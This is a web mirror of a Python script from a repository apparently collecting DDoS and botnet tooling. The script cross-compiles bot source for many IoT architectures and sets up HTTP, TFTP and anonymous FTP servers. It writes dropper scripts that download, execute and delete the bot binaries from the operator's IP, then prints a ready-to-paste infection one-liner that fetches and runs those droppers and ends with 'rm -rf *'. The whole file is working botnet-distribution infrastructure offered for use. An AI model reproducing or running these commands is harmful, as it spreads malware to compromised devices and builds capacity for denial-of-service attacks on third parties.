Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/BOT COMPILERS/cc8.py
5038 views
1
#Python auto cross compiler by void
2
3
import subprocess, sys
4
5
if len(sys.argv[2]) != 0:
6
ip = sys.argv[2]
7
else:
8
print("\x1b[0;31mIncorrect Usage!")
9
print("\x1b[0;32mUsage: python " + sys.argv[0] + " <botname.c> <host ip> \x1b[0m")
10
exit(1)
11
12
bot = sys.argv[1]
13
14
yourafag = raw_input("Get arch's? Y/n:")
15
if yourafag.lower() == "y":
16
get_arch = True
17
else:
18
get_arch = False
19
20
compileas = ["mips", #mips
21
"mipsel", #mipsel
22
"sh4", #sh4
23
"x86", #x86
24
"i686", #i686
25
"ppc", #ppc
26
"i586", #i586
27
"m68k", #m68k
28
]
29
30
getarch = [
31
'http://landley.net/aboriginal/downloads/binaries/cross-compiler-mips.tar.gz',
32
'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-mipsel.tar.bz2',
33
'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-mipsel.tar.bz2',
34
'http://landley.net/aboriginal/downloads/binaries/cross-compiler-x86_64.tar.gz',
35
'http://landley.net/aboriginal/downloads/binaries/cross-compiler-armv6l.tar.gz',
36
'http://landley.net/aboriginal/downloads/binaries/cross-compiler-i686.tar.gz',
37
'http://landley.net/aboriginal/downloads/binaries/cross-compiler-powerpc.tar.gz',
38
'http://landley.net/aboriginal/downloads/binaries/cross-compiler-i586.tar.gz',
39
'http://landley.net/aboriginal/downloads/binaries/cross-compiler-m68k.tar.gz',
40
'http://landley.net/aboriginal/downloads/binaries/cross-compiler-sparc.tar.gz',
41
'http://landley.net/aboriginal/downloads/binaries/cross-compiler-armv4l.tar.gz',
42
'http://landley.net/aboriginal/downloads/binaries/cross-compiler-armv5l.tar.gz',
43
'http://landley.net/aboriginal/downloads/binaries/cross-compiler-powerpc-440fp.tar.gz'
44
]
45
46
47
ccs = ["cross-compiler-mips",
48
"cross-compiler-mipsel",
49
"cross-compiler-sh4",
50
"cross-compiler-x86_64",
51
"cross-compiler-i686",
52
"cross-compiler-powerpc",
53
"cross-compiler-i586",
54
"cross-compiler-m68k",
55
"cross-compiler-sparc",
56
"cross-compiler-powerpc-440fp"]
57
58
def run(cmd):
59
subprocess.call(cmd, shell=True)
60
61
run("rm -rf /var/lib/tftpboot/* /var/ftp/*")
62
63
if get_arch == True:
64
run("rm -rf cross-compiler-*")
65
66
print("Downloading Architectures")
67
68
for arch in getarch:
69
run("wget " + arch + " --no-check-certificate >> /dev/null")
70
run("tar -xvf *tar.bz2")
71
run("rm -rf *tar.bz2")
72
73
print("Cross Compilers Downloaded...")
74
75
num = 0
76
for cc in ccs:
77
arch = cc.split("-")[2]
78
run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")
79
num += 1
80
81
print("Cross Compiling Done!")
82
print("Setting up your httpd and tftp")
83
84
run("yum install httpd -y")
85
run("service httpd start")
86
run("yum install xinetd tftp tftp-server -y")
87
run("yum install vsftpd -y")
88
run("service vsftpd start")
89
90
run('''echo -e "# default: off
91
# description: The tftp server serves files using the trivial file transfer \
92
# protocol. The tftp protocol is often used to boot diskless \
93
# workstations, download configuration files to network-aware printers, \
94
# and to start the installation process for some operating systems.
95
service tftp
96
{
97
socket_type = dgram
98
protocol = udp
99
wait = yes
100
user = root
101
server = /usr/sbin/in.tftpd
102
server_args = -s -c /var/lib/tftpboot
103
disable = no
104
per_source = 11
105
cps = 100 2
106
flags = IPv4
107
}
108
" > /etc/xinetd.d/tftp''')
109
run("service xinetd start")
110
111
run('''echo -e "listen=YES
112
local_enable=NO
113
anonymous_enable=YES
114
write_enable=NO
115
anon_root=/var/ftp
116
anon_max_rate=2048000
117
xferlog_enable=YES
118
listen_address='''+ ip +'''
119
listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
120
run("service vsftpd restart")
121
122
for i in compileas:
123
run("cp " + i + " /var/www/html")
124
run("cp " + i + " /var/ftp")
125
run("mv " + i + " /var/lib/tftpboot")
126
127
run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')
128
129
run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')
130
131
run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')
132
133
run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')
134
135
run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')
136
137
run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')
138
139
run('echo -e "#!/bin/bash" > /var/www/html/bins.sh')
140
141
for i in compileas:
142
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; curl -O http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/bins.sh')
143
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')
144
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')
145
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')
146
147
run("service xinetd restart")
148
run("service httpd restart")
149
run('echo -e "ulimit -n 99999" >> ~/.bashrc')
150
151
print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
152
print("\x1b[0;32mYour link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/bins.sh; curl -O http://" + ip + "/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\x1b[0m")
153
print
154
print("\x1b[0;32mCoded By Vue\x1b[0m")
155